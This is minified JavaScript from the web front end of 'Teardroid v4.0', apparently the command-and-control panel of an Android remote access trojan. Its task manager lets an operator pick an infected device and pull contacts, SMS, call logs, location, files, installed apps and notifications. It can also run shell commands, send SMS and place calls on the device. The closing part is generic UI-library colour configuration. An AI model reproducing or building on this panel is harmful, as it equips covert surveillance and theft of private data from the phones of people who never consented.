n=function(e){var t=[];return e.forEach((function(e){Dm(e)?t=t.concat(e.options):t.push(e)})),t}(e),r=n.find((function(e){return t===e.value}));void 0===r&&(r=n.find((function(e){return!e.hidden})));return r||{value:"",label:""}}(k,p),P=C.prefix&&r.createElement("div",{className:Lm},C.prefix),N=r.createElement("div",{className:Pm,"aria-hidden":!0,"aria-disabled":l},_,P,r.createElement("span",{className:Mm},C.label),r.createElement("span",{className:Tm},r.createElement(zt,{source:Jr}))),T=k.map(Wm);return r.createElement(Dl,{id:y,label:n,error:h,action:a,labelHidden:w,helpText:s,requiredIndicator:b},r.createElement("div",{className:x},r.createElement("select",{id:y,name:d,value:p,className:Om,disabled:l,onFocus:v,onBlur:g,onChange:E,"aria-invalid":Boolean(h),"aria-describedby":S.length?S.join(" "):void 0,"aria-required":b},T),N,r.createElement("div",{className:Am})))}function Bm(e){return"string"===typeof e}function Dm(e){return"object"===typeof e&&"options"in e&&null!=e.options}function Hm(e){return{label:e,value:e}}function zm(e){return Bm(e)?Hm(e):Dm(e)?{title:e.title,options:e.options.map((function(e){return Bm(e)?Hm(e):e}))}:e}function Um(e){var t=e.value,n=e.label,a=(e.prefix,u(e,Im));return r.createElement("option",Object.assign({key:t,value:t},a),n)}function Wm(e){if(Dm(e)){var t=e.title,n=e.options;return r.createElement("optgroup",{label:t,key:t},n.map(Um))}return Um(e)}var Vm,qm,Zm,Km=function(e){var t=e.selected,n=e.setSelected,a=(0,r.useCallback)((function(e){return n(e)}),[]);return(0,oc.jsx)(Rm,{label:"Select Action : ",options:[{value:"Select Task",label:"Select Task"},{value:"getcontact",label:"Retrive Contact"},{value:"getsms",label:"Retrive SMS"},{value:"getservices",label:"Retrive Services"},{value:"getlocation",label:"Retrive Device Location"},{value:"getcalllogs",label:"Retrive Call Logs"},{value:"runshell",label:"Run Shell Command"},{value:"changewallpaper",label:"Change Wallpaper"},{value:"listfile",label:"Retrive File Location"},{value:"sendsms",label:"Send SMS"},{value:"makecall",label:"Make Call"},{value:"getapps",label:"Get Installed Apps"},{value:"getfile",label:"Retrive File"}],onChange:a,value:t,labelInline:!0})},Gm=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Vm||(Vm=r.createElement("path",{fillRule:"evenodd",d:"M7.992 2.124a1 1 0 1 0-1.984-.248L5.618 5H2a1 1 0 0 0 0 2h3.367l-.75 6H2a1 1 0 1 0 0 2h2.367l-.36 2.876a1 1 0 1 0 1.985.248L6.382 15h5.985l-.36 2.876a1 1 0 0 0 1.985.248l.39-3.124H18a1 1 0 1 0 0-2h-3.367l.75-6H18a1 1 0 1 0 0-2h-2.367l.36-2.876a1 1 0 1 0-1.985-.248L13.618 5H7.632l.36-2.876zM12.617 13l.75-6H7.383l-.75 6h5.984z"})))},$m=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),qm||(qm=r.createElement("path",{fillRule:"evenodd",d:"M14 4h3a1 1 0 0 1 1 1v1H2V5a1 1 0 0 1 1-1h3V1.5A1.5 1.5 0 0 1 7.5 0h5A1.5 1.5 0 0 1 14 1.5V4zM8 2v2h4V2H8zM3 8h14v10.5a1.5 1.5 0 0 1-1.5 1.5h-11A1.5 1.5 0 0 1 3 18.5V8zm4 3H5v6h2v-6zm4 0H9v6h2v-6zm2 0h2v6h-2v-6z"})))},Ym=function(e){var t=e.selected,n=e.setSelected,a=(0,r.useCallback)((function(e){return n(e)}),[]),o=ne((0,r.useState)([]),2),i=o[0],l=o[1];return(0,r.useEffect)((function(){iu().get("/client/").then((function(e){var t=[{value:"Select User",label:"Select User"}];e.data.clients.map((function(e){t.push({value:e.key,label:e.key})})),l(t)}))}),[]),(0,oc.jsx)(Rm,{label:"Device Key : ",options:i,onChange:a,value:t,labelInline:!0})},Qm=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Zm||(Zm=r.createElement("path",{d:"m11.414 10 4.293-4.293a.999.999 0 1 0-1.414-1.414L10 8.586 5.707 4.293a.999.999 0 1 0-1.414 1.414L8.586 10l-4.293 4.293a.999.999 0 1 0 1.414 1.414L10 11.414l4.293 4.293a.997.997 0 0 0 1.414 0 .999.999 0 0 0 0-1.414L11.414 10z"})))},Xm=function(e){var t=e.active,n=e.setActive,a=e.fetchCommand,o=ne((0,r.useState)(null),2),i=o[0],l=o[1],s=ne((0,r.useState)(null),2),u=s[0],c=s[1],d=(0,r.useCallback)((function(){return n((function(e){return!e}))}),[]),f=ne((0,r.useState)(null),2),p=f[0],h=f[1],m=ne((0,r.useState)(null),2),v=m[0],g=m[1],b=ne((0,r.useState)(null),2),y=b[0],w=b[1],x=(0,r.useCallback)((function(e){return h(e)}),[]),E=(0,r.useCallback)((function(e){return w(e)}),[]),S=(0,r.useCallback)((function(e){return g(e)}),[]),k=function(){return"runshell"===u?(0,oc.jsx)(Vr,{vertical:!0,children:(0,oc.jsx)(Ql,{label:"Command : ",value:p,placeholder:"uname -a",onChange:x,autoComplete:"off",focused:!0})}):"sendsms"===u?(0,oc.jsxs)(Vr,{vertical:!0,children:[(0,oc.jsx)(Ql,{label:"Phone Number : ",value:v,placeholder:"Example: 0000000000",onChange:S,autoComplete:"off",focused:!0}),(0,oc.jsx)(Ql,{label:"Text Content : ",value:y,placeholder:"Example: hello from hacker",onChange:E,autoComplete:"off",focused:!0})]}):"makecall"===u?(0,oc.jsx)(Vr,{vertical:!0,children:(0,oc.jsx)(Ql,{label:"Phone Number : ",value:v,placeholder:"Example: 0000000000",onChange:S,autoComplete:"off",focused:!0})}):"changewallpaper"===u?(0,oc.jsx)(Vr,{vertical:!0,children:(0,oc.jsx)(Ql,{label:"Wallpaper URL : ",value:y,placeholder:"Example: https://example.com/wallpaper.jpg",onChange:E,autoComplete:"off",focused:!0})}):"listfile"===u?(0,oc.jsxs)(Vr,{vertical:!0,children:[(0,oc.jsx)(Sa,{variation:"subdued",children:"Base Folder : /storage/emulated/0/"}),(0,oc.jsx)(Ql,{label:"Folder Path : ",value:y,placeholder:"Example: /storage/emulated/0/Pictures",onChange:E,autoComplete:"off",focused:!0})]}):"getfile"===u?(0,oc.jsxs)(Vr,{vertical:!0,children:[(0,oc.jsx)(Sa,{variation:"subdued",children:"Base Folder : /storage/emulated/0/Pictures/example.jpg"}),(0,oc.jsx)(Ql,{label:"File Path : ",value:y,placeholder:"Example: /storage/emulated/0/Pictures/example.jpg",onChange:E,autoComplete:"off",focused:!0})]}):(0,oc.jsx)("div",{})};return(0,oc.jsx)("div",{style:{height:"500px"},children:(0,oc.jsx)(ll,{large:!0,open:t,onClose:d,title:"Run Task",primaryAction:{content:"Execute",onAction:function(){!function(){var e={device_id:i,command:u,shell:p,number:v,data:y};iu().post("/command/add",e).then((function(t){console.log(e),$u.success("Task Added Successfully"),h(null),g(null),w(null)})).catch((function(e){$u.error("Error Occured")}))}(),d(),a()},icon:nu},secondaryActions:[{content:"Cancel",onAction:d,icon:Qm}],children:(0,oc.jsxs)(ll.Section,{children:[(0,oc.jsxs)(ch,{children:[(0,oc.jsx)(ch.Section,{oneHalf:!0,children:(0,oc.jsx)(Ym,{selected:i,setSelected:l})}),(0,oc.jsx)(ch.Section,{oneHalf:!0,children:(0,oc.jsx)(Km,{selected:u,setSelected:c})})]}),(0,oc.jsx)("br",{}),(0,oc.jsx)(k,{})]})})})};function Jm(e){return function(t,n){var r=e.firstVisibleColumnIndex,a=e.tableLeftVisibleEdge,o=e.tableRightVisibleEdge,i=t.offsetLeft,l=i+t.offsetWidth,s=ev(i,a,o),u=ev(l,a,o),c=s||u;return c&&(e.firstVisibleColumnIndex=Math.min(r,n)),{leftEdge:i,rightEdge:l,isVisible:c}}}function ev(e,t,n){return e>=t+30&&e<=n-30}function tv(e,t){var n=e.firstVisibleColumnIndex;return{previousColumn:t[Math.max(n-1,0)],currentColumn:t[n]}}var nv={DataTable:"Polaris-DataTable",condensed:"Polaris-DataTable--condensed",Navigation:"Polaris-DataTable__Navigation",Pip:"Polaris-DataTable__Pip","Pip-visible":"Polaris-DataTable__Pip--visible",ScrollContainer:"Polaris-DataTable__ScrollContainer",Table:"Polaris-DataTable__Table",hoverable:"Polaris-DataTable--hoverable",Cell:"Polaris-DataTable__Cell",TableRow:"Polaris-DataTable__TableRow","Cell-firstColumn":"Polaris-DataTable__Cell--firstColumn","Cell-numeric":"Polaris-DataTable__Cell--numeric","Cell-truncated":"Polaris-DataTable__Cell--truncated","Cell-header":"Polaris-DataTable__Cell--header","Cell-sortable":"Polaris-DataTable__Cell--sortable","Cell-verticalAlignTop":"Polaris-DataTable__Cell--verticalAlignTop","Cell-verticalAlignBottom":"Polaris-DataTable__Cell--verticalAlignBottom","Cell-verticalAlignMiddle":"Polaris-DataTable__Cell--verticalAlignMiddle","Cell-verticalAlignBaseline":"Polaris-DataTable__Cell--verticalAlignBaseline",Icon:"Polaris-DataTable__Icon",Heading:"Polaris-DataTable__Heading","Heading-left":"Polaris-DataTable__Heading--left","Cell-sorted":"Polaris-DataTable__Cell--sorted","Cell-total":"Polaris-DataTable__Cell--total","Cell-total-footer":"Polaris-DataTable--cellTotalFooter",Footer:"Polaris-DataTable__Footer"};function rv(e){var t=e.content,n=e.contentType,a=e.firstColumn,o=e.truncate,i=e.header,l=e.total,s=e.totalInFooter,u=e.sorted,c=e.sortable,d=e.sortDirection,f=e.verticalAlign,p=void 0===f?"top":f,h=e.defaultSortDirection,m=void 0===h?"ascending":h,v=e.onSort,g=e.colSpan,b=jt(),y="numeric"===n,w=Xe(nv.Cell,nv["Cell-".concat(Je("verticalAlign",p))],a&&nv["Cell-firstColumn"],a&&o&&nv["Cell-truncated"],i&&nv["Cell-header"],l&&nv["Cell-total"],s&&nv["Cell-total-footer"],y&&nv["Cell-numeric"],c&&nv["Cell-sortable"],u&&nv["Cell-sorted"]),x=Xe(i&&nv.Heading,i&&"text"===n&&nv["Heading-left"]),E=Xe(c&&nv.Icon),S=u&&d?d:m,k="descending"===S?Xr:ea,_="ascending"===d?"descending":"ascending",C=b.translate("Polaris.DataTable.sortAccessibilityLabel",{direction:u?_:S}),P=r.createElement("span",{className:E},r.createElement(zt,{source:k,accessibilityLabel:C})),N=c?r.createElement("button",{className:x,onClick:v},P,t):t,T=g&&g>1?{colSpan:g}:{},A=i?r.createElement("th",Object.assign({},L,T,{className:w,scope:"col","aria-sort":d}),N):r.createElement("th",Object.assign({className:w,scope:"row"},T),t);return i||a?A:r.createElement("td",Object.assign({className:w},T),t)}function av(e){var t=e.columnVisibilityData,n=e.isScrolledFarthestLeft,a=e.isScrolledFarthestRight,o=e.navigateTableLeft,i=e.navigateTableRight,l=jt(),s=t.map((function(e,t){var n=Xe(nv.Pip,e.isVisible&&nv["Pip-visible"]);return r.createElement("div",{className:n,key:"pip-".concat(t)})})),u=l.translate("Polaris.DataTable.navAccessibilityLabel",{direction:"left"}),c=l.translate("Polaris.DataTable.navAccessibilityLabel",{direction:"right"});return r.createElement("div",{className:nv.Navigation},r.createElement(Ma,{plain:!0,icon:dp,disabled:n,accessibilityLabel:u,onClick:o}),s,r.createElement(Ma,{plain:!0,icon:fp,disabled:a,accessibilityLabel:c,onClick:i}))}var ov=function(e){h(n,e);var t=w(n);function n(){var e;(0,d.Z)(this,n);for(var a=arguments.length,o=new Array(a),i=0;ir.clientWidth),e.setState(l({condensed:a},e.calculateColumnVisibilityData(a)))})),e.calculateColumnVisibilityData=function(t){var n=b(e),r=n.table.current,a=n.scrollContainer.current,o=n.dataTable.current;if(t&&r&&a&&o){var i=r.querySelectorAll(O);if(i.length>0){var s=i.length-1,u=a.scrollLeft,c=a.scrollLeft+o.offsetWidth,d={firstVisibleColumnIndex:s,tableLeftVisibleEdge:u,tableRightVisibleEdge:c},f=te(i).map(Jm(d)),p=f[f.length-1];return l(l({columnVisibilityData:f},tv(d,f)),{},{isScrolledFarthestLeft:0===u,isScrolledFarthestRight:p.rightEdge<=c})}}return{columnVisibilityData:[],previousColumn:void 0,currentColumn:void 0}},e.scrollListener=function(){e.setState((function(t){return l({},e.calculateColumnVisibilityData(t.condensed))}))},e.navigateTable=function(t){var n=e.state,r=n.currentColumn,a=n.previousColumn,o=e.scrollContainer.current;return function(){r&&a&&o&&(o.scrollLeft="right"===t?r.rightEdge:a.leftEdge,requestAnimationFrame((function(){e.setState((function(t){return l({},e.calculateColumnVisibilityData(t.condensed))}))})))}},e.renderHeadings=function(t,n){var a,o=e.props,i=o.sortable,l=o.truncate,s=void 0!==l&&l,u=o.columnContentTypes,c=o.defaultSortDirection,d=o.initialSortColumnIndex,f=void 0===d?0:d,p=o.verticalAlign,h=e.state,m=h.sortDirection,v=void 0===m?c:m,g=h.sortedColumnIndex,b=void 0===g?f:g,y="heading-cell-".concat(n);if(i){var w=i[n],x=w&&b===n;a={defaultSortDirection:c,sorted:x,sortable:w,sortDirection:x?v:"none",onSort:e.defaultOnSort(n)}}return r.createElement(rv,Object.assign({header:!0,key:y,content:t,contentType:u[n],firstColumn:0===n,truncate:s},a,{verticalAlign:p}))},e.totalsRowHeading=function(){var t=e.props,n=t.i18n,r=t.totals,a=t.totalsName,o=a||{singular:n.translate("Polaris.DataTable.totalRowHeading"),plural:n.translate("Polaris.DataTable.totalsRowHeading")};return r&&r.filter((function(e){return""!==e})).length>1?o.plural:o.singular},e.renderTotals=function(t,n){var a,o,i="totals-cell-".concat(n),l=e.props,s=l.truncate,u=void 0!==s&&s,c=l.verticalAlign;0===n&&(a=e.totalsRowHeading()),""!==t&&n>0&&(o="numeric",a=t);var d=e.props.showTotalsInFooter;return r.createElement(rv,{total:!0,totalInFooter:d,firstColumn:0===n,key:i,content:a,contentType:o,truncate:u,verticalAlign:c})},e.getColSpan=function(e,t,n,r){var a=e||1,o=t||n,i=Math.floor(o/a);return 0===r?i+o%a:i},e.defaultRenderRow=function(t,n){var a=e.props,o=a.columnContentTypes,i=a.truncate,l=void 0!==i&&i,s=a.verticalAlign,u=a.hoverable,c=void 0===u||u,d=a.headings,f=Xe(nv.TableRow,c&&nv.hoverable);return r.createElement("tr",{key:"row-".concat(n),className:f},t.map((function(a,i){var u="cell-".concat(i,"-row-").concat(n),c=e.getColSpan(t.length,d.length,o.length,i);return r.createElement(rv,{key:u,content:a,contentType:o[i],firstColumn:0===i,truncate:l,verticalAlign:s,colSpan:c})})))},e.defaultOnSort=function(t){var n=e.props,r=n.onSort,a=n.defaultSortDirection,o=void 0===a?"ascending":a,i=n.initialSortColumnIndex,l=e.state,s=l.sortDirection,u=void 0===s?o:s,c=l.sortedColumnIndex,d=o;(void 0===c?i:c)===t&&(d="ascending"===u?"descending":"ascending");return function(){e.setState({sortDirection:d,sortedColumnIndex:t},(function(){r&&r(t,d)}))}},e}return(0,f.Z)(n,[{key:"componentDidMount",value:function(){this.handleResize()}},{key:"componentDidUpdate",value:function(e){De()(e,this.props)||this.handleResize()}},{key:"componentWillUnmount",value:function(){this.handleResize.cancel()}},{key:"render",value:function(){var e=this.props,t=e.headings,n=e.totals,a=e.showTotalsInFooter,o=e.rows,i=e.footerContent,l=e.hideScrollIndicator,s=void 0!==l&&l,u=this.state,c=u.condensed,d=u.columnVisibilityData,f=u.isScrolledFarthestLeft,p=u.isScrolledFarthestRight,h=Xe(nv.DataTable,c&&nv.condensed),m=Xe(nv.TableWrapper,c&&nv.condensed),v=r.createElement("tr",null,t.map(this.renderHeadings)),g=n?r.createElement("tr",null,n.map(this.renderTotals)):null,b=o.map(this.defaultRenderRow),y=i?r.createElement("div",{className:nv.Footer},i):null,w=a?null:g,x=a?r.createElement("tfoot",null,g):null,E=s?null:r.createElement(av,{columnVisibilityData:d,isScrolledFarthestLeft:f,isScrolledFarthestRight:p,navigateTableLeft:this.navigateTable("left"),navigateTableRight:this.navigateTable("right")});return r.createElement("div",{className:m},E,r.createElement("div",{className:h,ref:this.dataTable},r.createElement("div",{className:nv.ScrollContainer,ref:this.scrollContainer},r.createElement(Te,{event:"resize",handler:this.handleResize}),r.createElement(Te,{capture:!0,event:"scroll",handler:this.scrollListener}),r.createElement("table",{className:nv.Table,ref:this.table},r.createElement("thead",null,v,w),r.createElement("tbody",null,b),x)),y))}}]),n}(r.PureComponent);function iv(e){var t=jt();return r.createElement(ov,Object.assign({},e,{i18n:t}))}var lv,sv,uv=function(e){var t=e.active,n=e.setActive,a=e.keyid,o=e.command,i=(0,r.useCallback)((function(){return n((function(e){return!e}))}),[]),l=ne((0,r.useState)([]),2),s=l[0],u=l[1],c=ne((0,r.useState)([]),2),d=c[0],f=c[1];return(0,r.useEffect)((function(){iu().get("command/response/".concat(a)).then((function(e){e.data.success&&(u(e.data.header),f(e.data.response))})).catch((function(e){console.error(e)}))}),[a,t]),"runshell"===o||"getservices"===o||"getapps"===o?(0,oc.jsx)(ll,{large:!0,open:t,onClose:i,title:"Teardroid Console",children:(0,oc.jsx)(Zr,{children:d.map((function(e){return(0,oc.jsxs)(Sa,{variation:"subdued",children:[e,(0,oc.jsx)("br",{})]})}))})}):"listfile"===o?(0,oc.jsx)(ll,{large:!0,open:t,onClose:i,title:"Teardroid Console",children:(0,oc.jsx)(Zr,{children:void 0!==d?d.map((function(e){return(0,oc.jsxs)(Sa,{variation:"subdued",children:[e,(0,oc.jsx)("br",{})]})})):"No file found"})}):"getcontact"===o?(0,oc.jsx)(ll,{open:t,onClose:i,title:"Teardroid Console",children:(0,oc.jsx)(Zr,{children:void 0!==d?d.map((function(e){return(0,oc.jsxs)(Sa,{variation:"subdued",children:[console.log(e[0]+" : "+e[1]),e[0]+": "+e[1],(0,oc.jsx)("br",{})]})})):"No file found"})}):(0,oc.jsx)("div",{style:{overflow:"hidden"},children:(0,oc.jsx)(ll,{large:!0,open:t,onClose:i,title:"Teardroid Console",children:(0,oc.jsx)(iv,{columnContentTypes:void 0!==s?s.map((function(e){return"text"})):[],headings:s,rows:d,hideScrollIndicator:!1})})})},cv=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),lv||(lv=r.createElement("path",{d:"M7 18a.997.997 0 0 1-.707-.293l-6-6a1 1 0 0 1 1.414-1.414l5.236 5.236 11.298-13.18a1 1 0 0 1 1.518 1.3l-12 14a1.001 1.001 0 0 1-.721.35H7"})))},dv=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),sv||(sv=r.createElement("path",{d:"M4.333 1C3.64 1 3 1.555 3 2.332v15.335a1.328 1.328 0 0 0 2.014 1.143l12.787-7.665a1.33 1.33 0 0 0 0-2.283L5.015 1.192A1.326 1.326 0 0 0 4.333 1zM5 3.515l10.815 6.488L5 16.485V3.515z"})))},fv=function(e){var t=e.keyid,n=e.device_name,a=e.command,o=e.date,i=e.complete,l=e.update,s=e.setUpdate,u=ne((0,r.useState)(!1),2),c=u[0],d=u[1],f=(0,r.useCallback)((function(){return d((function(e){return!e}))}),[]),p=(Nc(),function(){var e=Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if("changewallpaper"!==a&&"makecall"!==a&&"sendsms"!==a){e.next=4;break}$u.success("Task Executed Successfully"),e.next=15;break;case 4:if("getlocation"!==a){e.next=9;break}return e.next=7,iu().get("/command/response/".concat(t)).then((function(e){var t=e.data.response;window.open("https://maps.google.com/?q=".concat(t.latitude,",").concat(t.longitude))}));case 7:e.next=15;break;case 9:if("getfile"!==a){e.next=14;break}return e.next=12,iu().get("/command/response/".concat(t)).then((function(e){var t=e.data.response;window.open(window.location.protocol+"//"+window.location.hostname+":"+window.location.port+"/command/download/"+t)}));case 12:e.next=15;break;case 14:f();case 15:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}()),h=function(){var e=Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:iu().get("/command/delete/id/".concat(t)).then((function(e){$u.success(e.data.message),s(!l)})).catch((function(e){$u.error("Error Deleting Task")}));case 1:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),m=function(){var e=Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:$u.error("There was an error");case 1:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}();return(0,oc.jsxs)(Mf,{children:[(0,oc.jsx)("div",{style:{padding:"10px"},children:(0,oc.jsxs)(Vr,{vertical:!1,distribution:"equalSpacing",children:[(0,oc.jsxs)(Vr,{spacing:"extraTight",children:[(0,oc.jsx)(zt,{source:Gm,color:"highlight"}),(0,oc.jsxs)(Sa,{variation:"strong",children:["Key : ",t]})]}),(0,oc.jsxs)(Sa,{variation:"strong",children:["Device id : ",n]}),(0,oc.jsxs)(Sa,{variation:"strong",children:["Command : ",a]}),(0,oc.jsxs)(Sa,{variation:"strong",children:["Date : ",o]}),(0,oc.jsxs)(Vr,{spacing:"extraTight",children:[(0,oc.jsx)(Sa,{variation:"strong",children:"Complete : "}),(0,oc.jsx)(zt,{source:i?cv:Bi,color:"highlight"})]}),(0,oc.jsx)("div",{onClick:Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,h();case 2:return e.abrupt("return",e.sent);case 3:case"end":return e.stop()}}),e)}))),style:{cursor:"pointer"},children:(0,oc.jsx)(zt,{source:$m,color:"highlight"})}),(0,oc.jsx)("div",{onClick:Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(!i){e.next=6;break}return e.next=3,p();case 3:e.t0=e.sent,e.next=9;break;case 6:return e.next=8,m();case 8:e.t0=e.sent;case 9:return e.abrupt("return",e.t0);case 10:case"end":return e.stop()}}),e)}))),style:{cursor:"pointer"},children:(0,oc.jsx)(zt,{source:dv,color:"highlight"})})]})}),(0,oc.jsx)(uv,{active:c,setActive:d,keyid:t,command:a,success:i})]})},pv=function(){var e=ne((0,r.useState)(!1),2),t=e[0],n=e[1],a=ne((0,r.useState)([]),2),o=a[0],i=a[1],l=ne((0,r.useState)(!1),2),s=l[0],u=l[1],c=function(){iu().get("/command/").then((function(e){var t=e.data.command.map((function(e){return(0,oc.jsx)(fv,{keyid:e.key,device_name:e.device_id,command:e.command,date:e.date,complete:e.success,update:s,setUpdate:u},e.key)}));i(t)})).catch((function(e){console.error(e)}))};return(0,r.useEffect)((function(){var e=function(){var e=Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:c();case 1:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}();e()}),[s]),(0,oc.jsxs)(Qp,{fullWidth:!0,children:[(0,oc.jsx)($r,{children:"Task Manager"}),(0,oc.jsx)("br",{}),(0,oc.jsxs)(Vr,{vertical:!0,children:[(0,oc.jsxs)(Vr,{distribution:"equalSpacing",children:[(0,oc.jsx)(Ma,{primary:!0,icon:Gm,onClick:function(){return n(!0)},children:"Run Task"}),(0,oc.jsx)(Ma,{destructive:!0,icon:$m,onClick:function(){iu().get("/command/delete/all").then((function(e){$u.success(e.data.message),i([])})).catch((function(e){$u.error("Error Deleting All Tasks")}))},children:"Delele All Task"})]}),o]}),(0,oc.jsx)(Xm,{active:t,setActive:n,fetchCommand:c})]})},hv=function(e){var t=e.selected,n=e.setSelected,a=(0,r.useCallback)((function(e){return n(e)}),[]),o=ne((0,r.useState)([]),2),i=o[0],l=o[1];return(0,r.useEffect)((function(){iu().get("/client/").then((function(e){var t=[{value:"Select User",label:"Select User"}];e.data.clients.map((function(e){t.push({value:e.key,label:e.key})})),l(t)}))}),[]),(0,oc.jsx)(Rm,{label:"Device Key : ",options:i,onChange:a,value:t,labelInline:!0})},mv=function(){var e=ne((0,r.useState)(""),2),t=e[0],n=e[1],a=ne((0,r.useState)([]),2),o=a[0],i=a[1],l=function(){""!==t&&iu().get("/notification/device/".concat(t)).then((function(e){i(e.data.notification)})).catch((function(e){console.error(e)}))};(0,r.useEffect)((function(){l()}),[t]);return(0,oc.jsxs)(Qp,{fullWidth:!0,children:[(0,oc.jsx)($r,{children:"Notification"}),(0,oc.jsx)("br",{}),(0,oc.jsxs)(Vr,{distribution:"equalSpacing",children:[(0,oc.jsx)(hv,{selected:t,setSelected:n}),(0,oc.jsx)(Ma,{destructive:!0,onClick:function(){return iu().get("/notification/delete/".concat(t)).then((function(e){$u.success(e.data.message)})).catch((function(e){$u.error("Error Deleting All Notification")})),void l()},children:"Delete All Notification"})]}),(0,oc.jsx)(Mf,{children:(0,oc.jsx)(iv,{columnContentTypes:["text","text","text","text","text"],headings:["Package","Date","Device_id","Notification Body","Title Text"],rows:o})})]})},vv=n(7060),gv=function(){var e=ne((0,r.useState)(""),2),t=e[0],n=e[1],a=ne((0,r.useState)(""),2),o=a[0],i=a[1],l=(Nc(),function(){var e=Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,iu().post("/auth/login",{username:t,password:o}).then(function(){var e=Qu(ec().mark((function e(t){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,nc(t.data.token);case 2:iu().defaults.headers.common.Authorization="Bearer ".concat(t.data.token),$u.success(t.data.message);case 4:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}()).catch((function(e){$u.error(e.response.data.detail)}));case 2:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}());return(0,oc.jsxs)(Qp,{title:"Administrator login portal",children:[(0,oc.jsx)("img",{src:vv,width:"40%"}),(0,oc.jsx)(ch,{children:(0,oc.jsx)(ch.AnnotatedSection,{title:"Teardroid v4.0",description:"Please change your defualt password ones your login for the first time",children:(0,oc.jsxs)(Vr,{vertical:!0,children:[(0,oc.jsx)(Ql,{label:"Username",value:t,onChange:function(e){return n(e)}}),(0,oc.jsx)(Ql,{label:"Password",value:o,onChange:function(e){return i(e)}}),(0,oc.jsx)(Ma,{primary:!0,onClick:Qu(ec().mark((function e(){return ec().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,l();case 2:return e.abrupt("return",e.sent);case 3:case"end":return e.stop()}}),e)}))),children:"Login"})]})})})]})},bv=["children","url"];function yv(e){var t=e.children,n=e.url,r=void 0===n?"":n,a=u(e,bv);return function(e){return/^(?:[a-z][a-z\d+.-]*:|\/\/)/.test(e)}(r)||a.download?(0,oc.jsx)("a",l(l({href:r},a),{},{children:t})):(0,oc.jsx)($c,l(l({to:r},a),{},{children:t}))}var wv=function(){return(0,oc.jsxs)(Re,{i18n:c,linkComponent:yv,theme:{colorScheme:"dark"},children:[(0,oc.jsxs)(kc,{children:[(0,oc.jsx)(Ec,{path:"/v4/overview",element:ac()?(0,oc.jsx)(sc,{actualPageMarkup:(0,oc.jsx)(km,{}),Location:"/overview"}):(0,oc.jsx)(wc,{to:"/v4/login"}),exact:!0}),(0,oc.jsx)(Ec,{path:"/v4/task",element:ac()?(0,oc.jsx)(sc,{actualPageMarkup:(0,oc.jsx)(pv,{}),Location:"/task"}):(0,oc.jsx)(wc,{to:"/v4/login"}),exact:!0}),(0,oc.jsx)(Ec,{path:"/v4/notification",element:ac()?(0,oc.jsx)(sc,{actualPageMarkup:(0,oc.jsx)(mv,{}),Location:"/notification"}):(0,oc.jsx)(wc,{to:"/v4/login"}),exact:!0}),(0,oc.jsx)(Ec,{path:"/v4/login",element:(0,oc.jsx)(gv,{}),exact:!0}),(0,oc.jsx)(Ec,{path:"/v4/",element:(0,oc.jsx)(gv,{}),exact:!0})]}),(0,oc.jsx)(Ru,{position:"bottom-center",autoClose:5e3,hideProgressBar:!1,newestOnTop:!1,closeOnClick:!0,rtl:!1,pauseOnFocusLoss:!0,draggable:!0,pauseOnHover:!0,theme:"dark"})]})},xv=function(e){e&&e instanceof Function&&n.e(787).then(n.bind(n,787)).then((function(t){var n=t.getCLS,r=t.getFID,a=t.getFCP,o=t.getLCP,i=t.getTTFB;n(e),r(e),a(e),o(e),i(e)}))};iu().defaults.baseURL=window.location.protocol+"//"+window.location.hostname+":"+window.location.port,iu().defaults.headers.post["Content-Type"]="application/json";var Ev=localStorage.getItem(tc);null!==Ev&&(iu().defaults.headers.common.Authorization="Bearer ".concat(Ev)),a.render((0,oc.jsx)(r.StrictMode,{children:(0,oc.jsx)(Gc,{children:(0,oc.jsx)(wv,{})})}),document.getElementById("root")),xv()},4246:function(e,t,n){"use strict";var r=n(9713).default,a=n(3038).default,o=n(319).default;Object.defineProperty(t,"__esModule",{value:!0}),t.colorFactory=void 0;var i=n(6143),l=n(8107),s=n(6100);t.colorFactory=function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:s.config;return Object.assign.apply(Object,[{}].concat(o(Object.entries(e).map((function(e){var o=a(e,2),s=o[0],u=o[1];if("string"!==typeof u)return null;var c=l.hexToHsluv(u),d=n[s]||[];return Object.assign({},d.reduce((function(e,n){var o=n.name,s=i.__rest(n,["name"])[t],u=s.hue,d=void 0===u?c[0]:u,f=s.saturation,p=void 0===f?c[1]:f,h=s.lightness,m=void 0===h?c[2]:h,v=s.alpha,g=void 0===v?1:v,b=function(e,t){return"number"===typeof e?e:e(t)},y=l.hsluvToRgb([b(d,c[0]),b(p,c[1]),b(m,c[2])]).map((function(e){return Math.round(255*e)})),w=a(y,3),x=w[0],E=w[1],S=w[2];return Object.assign(Object.assign({},e),r({},o,"rgba(".concat(x,", ").concat(E,", ").concat(S,", ").concat(g,")")))}),{}))})))))}},6100:function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.config=void 0;var r=n(574);t.config={surface:[{name:"background",description:"For use as a background color, in components such as Page and Frame backgrounds.",light:{lightness:97},dark:{lightness:3.3},meta:{figmaName:"Background/Default"}},{name:"backgroundHovered",description:"For use when an action or navigation is used on a 